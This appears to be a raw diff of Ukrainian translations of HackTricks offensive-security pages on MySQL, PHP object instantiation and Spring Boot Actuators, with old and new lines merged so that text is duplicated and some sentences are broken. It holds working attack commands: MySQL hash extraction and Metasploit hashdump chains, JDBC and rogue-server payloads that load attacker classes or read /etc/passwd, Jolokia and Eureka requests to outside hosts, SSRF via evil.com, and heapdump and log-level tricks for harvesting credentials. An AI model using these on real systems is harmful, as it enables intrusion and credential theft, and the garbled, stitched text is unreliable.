Ви можете **використати ці облікові дані для входу в базу даних mysql**.
Ви можете **використати ці облікові дані, щоб увійти в mysql базу даних**.
Всередині файлу: _/var/lib/mysql/mysql/user.MYD_ ви можете знайти **всі хеші користувачів MySQL** (ті, які можна витягти з mysql.user всередині бази даних)_._
Ви можете витягти їх, виконавши:
Ви можете витягнути їх, виконавши:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### Увімкнення логування
Ви можете увімкнути логування запитів mysql у файлі `/etc/mysql/my.cnf`, розкоментувавши такі рядки:
Ви можете увімкнути логування запитів mysql у файлі `/etc/mysql/my.cnf`, розкоментувавши наступні рядки:
![](<../images/image (899).png>)
### Корисні файли
Configuration Files
Файли конфігурації
- windows \*
- config.ini
@ -295,9 +298,9 @@ Configuration Files
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- Command History
- Історія команд
- \~/.mysql.history
- Log Files
- Файли логів
- connections.log
- update.log
- common.log
@ -622,7 +625,7 @@ x$waits_global_by_latency
{{#endtab}}
{{#endtabs}}
## HackTricks Автоматичні команди
## Автоматичні команди HackTricks
```
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
@ -653,36 +656,36 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 Highlights (new)
## 2023-2025 Основні моменти (нове)
### JDBC `propertiesTransform` десеріалізація (CVE-2023-21971)
У Connector/J <= 8.0.32 зловмисник, який може вплинути на **JDBC URL** (наприклад у сторонньому програмному забезпеченні, що запитує рядок підключення), може вимагати завантаження довільних класів на стороні *клієнта* через параметр `propertiesTransform`. Якщо в class-path присутній придатний gadget і його можна завантажити, це призводить до **remote code execution in the context of the JDBC client** (pre-auth, оскільки не потрібні дійсні облікові дані). Мінімальний PoC виглядає так:
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
З Connector/J <= 8.0.32 атакуючий, який може впливати на **JDBC URL** (наприклад у сторонньому ПЗ, яке запитує рядок підключення), може вимагати завантаження довільних класів на сторону *клієнта* через параметр `propertiesTransform`. Якщо на class-path присутній завантажуваний gadget, це призводить до **remote code execution у контексті JDBC client** (pre-auth, оскільки не потрібні дійсні облікові дані). Мінімальний PoC виглядає так:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Запуск `Evil.class` може бути таким же простим, як розмістити його в class-path вразливої програми або дозволити зловмисному MySQL серверу надіслати шкідливий серіалізований об'єкт. Проблему виправлено в Connector/J 8.0.33 оновіть драйвер або явно встановіть `propertiesTransform` у allow-list.
еталі див. у write-up Snyk)
Запуск `Evil.class` може бути настільки простим, як розміщення його в class-path вразливої програми або дозволити rogue MySQL server надіслати шкідливий серіалізований об'єкт. Проблему виправлено в Connector/J 8.0.33 — оновіть драйвер або явно встановіть `propertiesTransform` в allow-list.
ив. Snyk write-up для деталей)
### Rogue / Fake MySQL server атаки проти JDBC клієнтів
Кілька open-source інструментів реалізують *частковий* протокол MySQL, щоб атакувати JDBC клієнтів, які підключаються назовні:
### Атаки Rogue / Fake MySQL server проти JDBC клієнтів
Кілька open-source інструментів реалізують *частковий* протокол MySQL з метою атакувати JDBC клієнтів, які встановлюють зовнішні з'єднання:
* **mysql-fake-server** (Java, підтримує читання файлів та експлойти з десеріалізацією)
* **mysql-fake-server** (Java, підтримує читання файлів та експлойти десеріалізації)
* **rogue_mysql_server** (Python, схожі можливості)
Типові шляхи атаки:
1. Додаток-жертва завантажує `mysql-connector-j` з `allowLoadLocalInfile=true` або `autoDeserialize=true`.
2. Атакуючий контролює DNS / запис хоста, так що ім'я хоста БД розв'язується на машину під їхнім контролем.
1. Вразлива програма завантажує `mysql-connector-j` з `allowLoadLocalInfile=true` або `autoDeserialize=true`.
2. Атакуючий контролює DNS / запис хосту, щоб hostname БД вказував на машину під його контролем.
3. Зловмисний сервер відповідає сформованими пакетами, які викликають або `LOCAL INFILE` для довільного читання файлів, або Java десеріалізацію → RCE.
Example one-liner to start a fake server (Java):
Приклад однорядкової команди для запуску fake server (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Потім направте додаток-жертву на `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` і прочитайте `/etc/passwd`, закодувавши ім'я файлу в base64 у полі *username* (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
Потім вкажіть цільовий додаток на `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` і прочитайте `/etc/passwd`, закодувавши ім'я файлу в base64 у *username* полі (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0 зберігає хеші паролів як **`$mysql-sha2$`** (SHA-256). Як Hashcat (mode **21100**), так і John-the-Ripper (`--format=mysql-sha2`) підтримують offline cracking з 2023 року. Здампте колонку `authentication_string` і передайте її безпосередньо:
MySQL ≥ 8.0 зберігає хеші паролів як **`$mysql-sha2$`** (SHA-256). Як Hashcat (mode **21100**), так і John-the-Ripper (`--format=mysql-sha2`) підтримують offline cracking з 2023 року. Злийте колонку `authentication_string` і передайте її напряму:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -691,11 +694,11 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Контрольний список зміцнення безпеки (2025)
Set **`LOCAL_INFILE=0`** and **`--secure-file-priv=/var/empty`** to kill most file-read/write primitives.
### Чекліст жорсткого захисту (2025)
Встановіть **`LOCAL_INFILE=0`** та **`--secure-file-priv=/var/empty`**, щоб вимкнути більшість примітивів читання/запису файлів.
• Видаліть привілей **`FILE`** з облікових записів додатків.
У Connector/J встановіть `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (empty).
• Вимкніть невикористовувані плагіни автентифікації і вимагайте TLS (`require_secure_transport = ON`).
У Connector/J встановіть `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (порожнє).
• Вимкніть невикористовувані плагіни автентифікації та **require TLS** (`require_secure_transport = ON`).
• Слідкуйте за `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` та раптовими `SET GLOBAL` запитами.
---

View File

@ -2,17 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
Це, по суті, підсумок [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
## Вступ
Створення нових довільних об'єктів, таких як `new $_GET["a"]($_GET["a"])`, може призвести до Remote Code Execution (RCE), як детально описано в [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Цей документ висвітлює різні стратегії досягнення RCE.
Створення нових довільних об'єктів, таких як `new $_GET["a"]($_GET["a"])`, може призвести до Remote Code Execution (RCE), як детально описано в [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Цей документ висвітлює різні стратегії для досягнення RCE.
## RCE через користувацькі класи або автозавантаження
Синтаксис `new $a($b)` використовується для інстанціювання об'єкта, де **`$a`** представляє ім'я класу, а **`$b`** — перший аргумент, переданий конструктору. Ці змінні можуть надходити з введення користувача, наприклад GET/POST, де вони можуть бути рядками або масивами, або з JSON, де вони можуть мати інші типи.
Синтаксис `new $a($b)` використовується для створення екземпляра класу, де **`$a`** позначає ім'я класу, а **`$b`** — перший аргумент, переданий конструктору. Ці змінні можуть походити з вхідних даних користувача, таких як GET/POST, де вони можуть бути рядками або масивами, або з JSON, де можуть мати інші типи.
Розглянемо фрагмент коду нижче:
Розглянемо приклад коду нижче:
```php
class App {
function __construct ($cmd) {
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
У цьому випадку встановлення `$a` в `App` або `App2`, а `$b`у системну команду (наприклад, `uname -a`) призводить до виконання цієї команди.
У цьому випадку встановлення `$a` як `App` або `App2` і `$b` як системної команди (наприклад, `uname -a`) призводить до виконання цієї команди.
**Функції автозавантаження** можуть бути використані, якщо такі класи безпосередньо недоступні. Ці функції автоматично завантажують класи з файлів за потреби і визначаються за допомогою `spl_autoload_register` або `__autoload`:
**Функції автозавантаження** можна використати, якщо такі класи безпосередньо недоступні. Ці функції автоматично підвантажують класи з файлів за потреби і визначаються за допомогою `spl_autoload_register` або `__autoload`:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -45,27 +45,27 @@ include $class_name . '.php';
spl_autoload_register();
```
Поведінка автозавантаження змінюється залежно від версії PHP, що дає різні можливості для RCE.
Поведінка автозавантаження змінюється залежно від версій PHP, що відкриває різні можливості RCE.
## RCE через вбудовані класи PHP
## RCE через вбудовані класи
Якщо відсутні кастомні класи або автозавантажувачі, **вбудованих класів PHP** може бути достатньо для RCE. Кількість таких класів коливається від 100 до 200, залежно від версії PHP та встановлених розширень. Їх можна перелічити за допомогою `get_declared_classes()`.
За відсутності кастомних класів або автозавантажувачів, **вбудованих класів PHP** може вистачити для RCE. Кількість таких класів коливається від 100 до 200 залежно від версії PHP та розширень. Їх можна перелічити за допомогою `get_declared_classes()`.
Конструктори, які становлять інтерес, можна визначити через Reflection API, як показано в наведеному прикладі та за посиланням [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
Конструктори, що представляють інтерес, можна визначити через reflection API, як показано в наведеному прикладі та за посиланням [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**RCE via specific methods includes:**
**RCE через конкретні методи включає:**
### **SSRF + Phar Deserialization**
Клас `SplFileObject` дозволяє SSRF через свій конструктор, дозволяючи підключатися до будь-якого URL:
Клас `SplFileObject` дозволяє SSRF через свій конструктор, даючи змогу підключатися до будь-якого URL:
```php
new SplFileObject('http://attacker.com/');
```
SSRF може призвести до атак десеріалізації в версіях PHP до 8.0 з використанням протоколу Phar.
SSRF може призвести до атак десеріалізації у версіях PHP до 8.0, використовуючи протокол Phar.
### **Exploiting PDOs**
### **Експлуатація PDOs**
Конструктор класу PDO дозволяє підключення до баз даних через DSN-рядки, потенційно дозволяючи створення файлів або інші взаємодії:
Конструктор класу PDO дозволяє підключення до баз даних через DSN-рядки, що потенційно дозволяє створення файлів або інші взаємодії:
```php
new PDO("sqlite:/tmp/test.txt")
```
@ -73,48 +73,48 @@ new PDO("sqlite:/tmp/test.txt")
Версії PHP до 5.3.22 та 5.4.12 були вразливі до XXE-атак через конструктори `SoapClient` та `SimpleXMLElement`, залежно від версії libxml2.
## RCE via Imagick Extension
## RCE через розширення Imagick
Під час аналізу залежностей проєкту було виявлено, що `Imagick` можна використати для виконання команд шляхом створення нових об'єктів. Це створює можливість експлуатації вразливостей.
Під час аналізу **залежностей проєкту** було виявлено, що **Imagick** можна використати для **виконання команд** шляхом створення нових об’єктів. Це дає можливість експлуатації вразливостей.
### VID parser
### VID парсер
Виявлено, що VID parser може записувати вміст у будь-який вказаний шлях у файловій системі. Це може призвести до розміщення `PHP shell` у веб-доступній директорії й досягнення Remote Code Execution (RCE).
Виявлено здатність VID парсера записувати вміст у будь-який вказаний шлях у файловій системі. Це може призвести до розміщення PHP shell у веб-доступній директорії та досягнення Remote Code Execution (RCE).
#### VID Parser + File Upload
Зауважимо, що PHP тимчасово зберігає завантажені файли у `/tmp/phpXXXXXX`. VID parser в `Imagick`, використовуючи протокол `msl`, може обробляти wildcard'и у шляхах до файлів, що дозволяє перемістити тимчасовий файл у вибране місце. Цей метод дає додатковий шлях для довільного запису файлів у файлову систему.
Зауважено, що PHP тимчасово зберігає завантажені файли в `/tmp/phpXXXXXX`. VID парсер в Imagick, використовуючи протокол **msl**, може обробляти wildcards у шляхах файлів, що полегшує переміщення тимчасового файлу у вибране місце. Цей метод дає додатковий підхід для довільного запису файлів у файлову систему.
### PHP Crash + Brute Force
Метод, описаний у [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), пов'язаний із завантаженням файлів, які викликають крах сервера до їх видалення. Брутфорсом імені тимчасового файлу `Imagick` стає можливим виконати довільний PHP-код. Однак цей підхід виявився ефективним лише в застарілій версії `ImageMagick`.
Метод, описаний у [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), полягає у завантаженні файлів, які спричиняють падіння сервера до видалення. Шляхом брутфорсу імені тимчасового файлу Imagick може виконати довільний PHP код. Проте ця техніка виявилася ефективною лише в застарілій версії ImageMagick.
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
Коли ім'я класу контролюється введенням користувача (наприклад, `new $_GET['model']()`), у PHP 7.0.0 під час рефакторингу `Throwable` з'явився тимчасовий баг, коли рушій помилково трактував ім'я класу як printf format string під час резолюції. Це дозволяє класичні printf-style примітиви всередині PHP: leaks з `%p`, контроль кількості записів через width specifiers, та довільні записи з `%n` по in-process вказівниках (наприклад, GOT entries у ELF-білдах).
Коли ім’я класу контролює введення користувача (наприклад, `new $_GET['model']()`), у PHP 7.0.0 під час рефакторингу `Throwable` виникла тимчасова помилка, коли движок помилково обробляв ім’я класу як форматний рядок printf під час його вирішення. Це дозволяє класичні printf-подібні примітиви всередині PHP: leaks with `%p`, контроль кількості записів через специфікатори ширини, та довільні записи з `%n` проти вказівників в процесі (наприклад, GOT-енетрі в ELF-збірках).
Мінімальний патерн відтворення вразливості:
Мінімальний приклад вразливого шаблону:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
Схема експлуатації (з посилання):
- Leak адреси через `%p` у імені класу, щоб знайти записувану ціль:
Опис експлуатації (з посилання):
- Leak адреси через `%p` в імені класу, щоб знайти записувану ціль:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- Використовуйте позиційні параметри та specifiers ширини для встановлення точної кількості байтів, потім `%n` щоб записати це значення в адресу, доступну на стеку, націлюючись на слот GOT (наприклад, `free`) щоб частково перезаписати його на `system`.
- Спровокуйте виклик захопленої функції, передавши ім'я класу, що містить shell pipe, щоб потрапити в `system("id")`.
- Використовуйте позиційні параметри та специфікатори ширини, щоб встановити точну кількість байтів, потім `%n` щоб записати це значення за адресою, досяжною на стеку, націлюючись на GOT slot (наприклад, `free`) для часткового перезапису в `system`.
- Спровокуйте перехоплену функцію, передавши ім'я класу, яке містить shell pipe, щоб викликати `system("id")`.
Примітки:
- Працює тільки на PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); виправлено у наступних релізах. Критичність: критична при наявності довільної інстанціації класів.
- Типові payloads поєднують багато `%p`, щоб пройти стек, потім `%.<width>d%<pos>$n`, щоб здійснити часткове перезаписування.
- Працює тільки на PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); виправлено в наступних релізах. Рівень серйозності: критичний, якщо існує можливість довільної інстанціації класів.
- Типові payloads ланцюжать багато `%p`, щоб пройти стек, потім `%.<width>d%<pos>$n` для часткового перезапису.
## Посилання
## Джерела
- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
- The Art of PHP: CTFborn exploits and techniques (https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -6,29 +6,29 @@
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**Джерело** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Exploiting Spring Boot Actuators
**Перегляньте оригінальний допис за** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
**Перевірте оригінальний пост за** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **Ключові моменти:**
- Spring Boot Actuators реєструють endpoints, такі як `/health`, `/trace`, `/beans`, `/env` тощо. У версіях 1 до 1.4 ці endpoints доступні без автентифікації. З версії 1.5 за замовчуванням не чутливими залишаються лише `/health` та `/info`, але розробники часто вимикають цей захист.
- Spring Boot Actuators реєструють endpoints такі як `/health`, `/trace`, `/beans`, `/env` тощо. У версіях 11.4 ці endpoints доступні без аутентифікації. Починаючи з версії 1.5, за замовчуванням лише `/health` і `/info` не вважаються чутливими, але розробники часто вимикають цей захист.
- Деякі Actuator endpoints можуть розкривати чутливі дані або дозволяти шкідливі дії:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, та `/heapdump`.
- У Spring Boot 1.x actuators реєструються під кореневим URL, тоді як у 2.x вони розміщуються під базовим шляхом `/actuator/`.
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
- У Spring Boot 1.x actuators реєструються під кореневим URL, тоді як у 2.x вони знаходяться під базовим шляхом `/actuator/`.
### **Exploitation Techniques:**
### **Техніки експлуатації:**
1. **Remote Code Execution via '/jolokia'**:
- Еndpoint `/jolokia` відкриває Jolokia Library, яка дозволяє доступ до MBeans через HTTP.
- Дію `reloadByURL` можна експлуатувати для перезавантаження конфігурацій логування з зовнішнього URL, що може призвести до blind XXE або Remote Code Execution через спеціально сформований XML.
- Endpoint `/jolokia` exposes the Jolokia Library, which allows HTTP access to MBeans.
- Дія `reloadByURL` може бути експлуатована для перезавантаження конфігурацій логування з зовнішнього URL, що може призвести до blind XXE або Remote Code Execution через спеціально сформовані XML-конфігурації.
- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
- Якщо присутні Spring Cloud Libraries, endpoint `/env` дозволяє змінювати параметри оточення.
- Властивості можна маніпулювати для експлуатації вразливостей, наприклад вразливості десеріалізації XStream у Eureka serviceURL.
- Якщо присутні Spring Cloud Libraries, endpoint `/env` дозволяє змінювати environmental properties.
- Властивості можна маніпулювати для експлуатації вразливостей, наприклад XStream десеріалізаційної вразливості в Eureka serviceURL.
- Example exploit POST request:
```
@ -41,31 +41,31 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Other Useful Settings**:
- Властивості на кшталт `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, та `spring.datasource.tomcat.max-active` можна змінювати для різних експлойтів, наприклад SQL injection або зміни рядків підключення до БД.
- Властивості на кшталт `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, та `spring.datasource.tomcat.max-active` можна змінювати для різних експлойтів, таких як SQL injection або зміна рядків підключення до БД.
### **Додаткова інформація:**
- Повний список дефолтних actuators можна знайти [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Endpoint `/env` в Spring Boot 2.x використовує JSON-формат для зміни властивостей, але загальна концепція лишається тією ж.
- A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Endpoint `/env` у Spring Boot 2.x використовує JSON формат для модифікації властивостей, але загальна концепція залишається тією самою.
### **Пов'язані теми:**
1. **Env + H2 RCE**:
- Деталі щодо експлуатації поєднання `/env` та H2 можна знайти [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
- Деталі щодо експлуатації поєднання endpoint `/env` та H2 database можна знайти [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Обробка Spring framework matrix parameters (`;`) у HTTP-шляхах може бути використана для Server-Side Request Forgery (SSRF).
- Обробка Spring framework матричних параметрів (`;`) у HTTP-шляхах може бути використана для Server-Side Request Forgery (SSRF).
- Example exploit request:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
## HeapDump — пошук секретів (credentials, tokens, internal URLs)
## HeapDump добування секретів (облікові дані, токени, внутрішні URL)
Якщо `/actuator/heapdump` доступний, зазвичай можна отримати повний знімок JVM heap, який часто містить живі секрети (облікові дані БД, API-ключі, Basic-Auth, внутрішні URL сервісів, мапи властивостей Spring тощо).
Якщо `/actuator/heapdump` відкритий, зазвичай можна отримати повний JVM heap snapshot, який часто містить live-секрети (DB креденшіали, API-ключі, Basic-Auth, внутрішні service URL, Spring property maps тощо).
- Завантаження та швидка первинна перевірка:
- Завантаження та швидкий аналіз:
```bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
@ -74,33 +74,33 @@ strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.dat
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
```
- Глибший аналіз за допомогою VisualVM та OQL:
- Відкрийте heapdump у VisualVM, перевірте екземпляри `java.lang.String` або запустіть OQL для пошуку секретів:
- Глибший аналіз за допомогою VisualVM і OQL:
- Відкрийте heapdump у VisualVM, переглядайте екземпляри `java.lang.String` або виконуйте OQL для пошуку секретів:
```
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
```
- Автоматизований витяг за допомогою JDumpSpider:
- Автоматичне витягування з JDumpSpider:
```bash
java -jar JDumpSpider-*.jar heapdump
```
Типові знахідки високої цінності:
- Об’єкти Spring `DataSourceProperties` / `HikariDataSource`, що містять `url`, `username`, `password`.
- `OriginTrackedMapPropertySource` записи, що виявляють `management.endpoints.web.exposure.include`, порти сервісів і вбудований Basic-Auth у URL (наприклад Eureka `defaultZone`).
- Фрагменти HTTP запитів/відповідей у явному вигляді, що містять `Authorization: Basic ...`, захоплені в пам'яті.
Типові цінні знахідки:
- Spring `DataSourceProperties` / `HikariDataSource` об'єкти, які містять `url`, `username`, `password`.
- `OriginTrackedMapPropertySource` записи, що розкривають `management.endpoints.web.exposure.include`, порти сервісів та вбудований Basic-Auth у URL (наприклад, Eureka `defaultZone`).
- Фрагменти plain HTTP запитів/відповідей, включно з `Authorization: Basic ...`, що зберігаються в пам'яті.
Поради:
- Використовуйте спрямований на Spring словник для швидкого виявлення actuator endpoint-ів (наприклад, SecLists spring-boot.txt) і завжди перевіряйте, чи також доступні `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` та `/actuator/configprops`.
- Облікові дані з heapdump часто працюють для суміжних сервісів і іноді для системних користувачів (SSH), тому перевіряйте їх широко.
- Використовуйте Spring-focused wordlist для швидкого виявлення actuator endpoint'ів (наприклад, SecLists spring-boot.txt) і завжди перевіряйте, чи також доступні `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` та `/actuator/configprops`.
- Облікові дані з heapdump часто працюють для суміжних сервісів і інколи для системних користувачів (SSH), тому пробуйте їх широкомасштабно.
## Abusing Actuator loggers/logging to capture credentials
## Зловживання Actuator loggers/logging для перехоплення облікових даних
Якщо `management.endpoints.web.exposure.include` дозволяє і `/actuator/loggers` доступний, ви можете динамічно підвищити рівні логування до DEBUG/TRACE для пакетів, що обробляють аутентифікацію та обробку запитів. У поєднанні з доступними логами (через `/actuator/logfile` або відомі шляхи логів) це може lead to leak credentials, що відправляються під час логін-флоу (наприклад, Basic-Auth заголовки або параметри форм).
Якщо `management.endpoints.web.exposure.include` дозволяє це і `/actuator/loggers` відкритий, ви можете динамічно підвищити рівні логування до DEBUG/TRACE для пакетів, що обробляють аутентифікацію і обробку запитів. У поєднанні з доступними логами (через `/actuator/logfile` або відомі шляхи логів) це може leak облікові дані, надіслані під час логін-потоків (наприклад, Basic-Auth заголовки або параметри форми).
- Перелічіть і підвищіть чутливі логери:
- Перелічіть і підвищіть чутливі логгери:
```bash
# List available loggers
curl -s http://target/actuator/loggers | jq .
@ -114,7 +114,7 @@ curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
```
- Знайдіть, куди пишуться логи, і зберіть їх:
- Знайдіть, куди записуються логи, і витягніть їх:
```bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
@ -123,14 +123,14 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```
- Ініціюйте трафік логіну/автентифікації і проаналізуйте лог на наявність creds. У мікросервісних архітектурах з gateway перед аутентифікацією увімкнення TRACE для gateway/security пакетів часто робить видимими заголовки та тіла форм. Деякі середовища навіть періодично генерують синтетичний логін-трафік, що робить збір триальних простим, коли логування детальне.
- Викличте трафік логіну/аутентифікації і проаналізуйте логи на наявність облікових даних. У мікросервісних налаштуваннях з gateway перед auth, увімкнення TRACE для пакетів gateway/security часто робить видимими заголовки і тіла форм. Деякі середовища навіть генерують синтетичний логін-трафік періодично, що робить збір тривіальним після підвищення verbosity логів.
Примітки:
- Поверніть рівні логування назад після завершення: `POST /actuator/loggers/<logger>` з тілом `{ "configuredLevel": null }`.
- Якщо `/actuator/httpexchanges` доступний, він також може показувати метадані недавніх запитів, які можуть містити чутливі заголовки.
Нотатки:
- Поверніть рівні логів після завершення: `POST /actuator/loggers/<logger>` з `{ "configuredLevel": null }`.
- Якщо `/actuator/httpexchanges` відкритий, він також може показувати недавні метадані запитів, які можуть включати чутливі заголовки.
## Джерела
## References
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
- [VisualVM](https://visualvm.github.io/)

View File

@ -4,28 +4,28 @@
## Що таке CSP
Content Security Policy (CSP) визнається браузерною технологією, яка в першу чергу спрямована на **захист від атак, таких як cross-site scripting (XSS)**. Вона функціонує шляхом визначення і опису шляхів та джерел, з яких браузер може безпечно завантажувати ресурси. Ці ресурси охоплюють різноманітні елементи, такі як зображення, фрейми та JavaScript. Наприклад, політика може дозволяти завантаження та виконання ресурсів з того ж домену (self), включно з inline-ресурсами та виконанням рядкового коду через функції на кшталт `eval`, `setTimeout` або `setInterval`.
Content Security Policy (CSP) вважається технологією браузера, яка насамперед спрямована на **захист від атак, таких як cross-site scripting (XSS)**. Вона працює шляхом визначення й деталізації шляхів і джерел, з яких браузер може безпечно завантажувати ресурси. Ці ресурси охоплюють різні елементи, такі як зображення, фрейми та JavaScript. Наприклад, політика може дозволяти завантаження й виконання ресурсів із того ж домену (self), включно з inline-ресурсами та виконанням коду-рядка через функції на кшталт `eval`, `setTimeout` або `setInterval`.
Реалізація CSP здійснюється через **заголовки відповіді** або шляхом включення **meta-елементів у HTML-сторінку**. Дотримуючись цієї політики, браузери активно застосовують її вимоги та негайно блокують будь-які виявлені порушення.
Впровадження CSP здійснюється через **заголовки відповіді** або шляхом додавання **meta-елементів у HTML-сторінку**. Відповідно до цієї політики браузери активно застосовують ці вимоги й одразу блокують будь-які виявлені порушення.
- Реалізовано через заголовок відповіді:
- Реалізується через заголовок відповіді:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- Реалізовано через мета-тег:
- Реалізовано через meta-тег:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Заголовки
CSP можна застосовувати або відстежувати за допомогою цих заголовків:
CSP можна застосовувати або моніторити за допомогою цих заголовків:
- `Content-Security-Policy`: Застосовує CSP; браузер блокує будь-які порушення.
- `Content-Security-Policy-Report-Only`: Використовується для відстеження; повідомляє про порушення, не блокуючи їх. Ідеально для тестування у передвиробничих середовищах.
- `Content-Security-Policy-Report-Only`: Використовується для моніторингу; повідомляє про порушення, не блокуючи їх. Ідеально підходить для тестування в передпродакшн середовищах.
### Визначення ресурсів
CSP обмежує джерела завантаження як активного, так і пасивного контенту, контролюючи такі аспекти, як виконання вбудованого JavaScript та використання `eval()`. Приклад політики є:
CSP обмежує джерела (origins) для завантаження як активного, так і пасивного контенту, контролюючи такі аспекти, як виконання inline JavaScript та використання `eval()`. Приклад політики:
```bash
default-src 'none';
img-src 'self';
@ -39,38 +39,38 @@ object-src 'none';
```
### Директиви
- **script-src**: Дозволяє конкретні джерела для JavaScript, включно з URL, inline-скриптами та скриптами, що запускаються обробниками подій або XSLT-стилями.
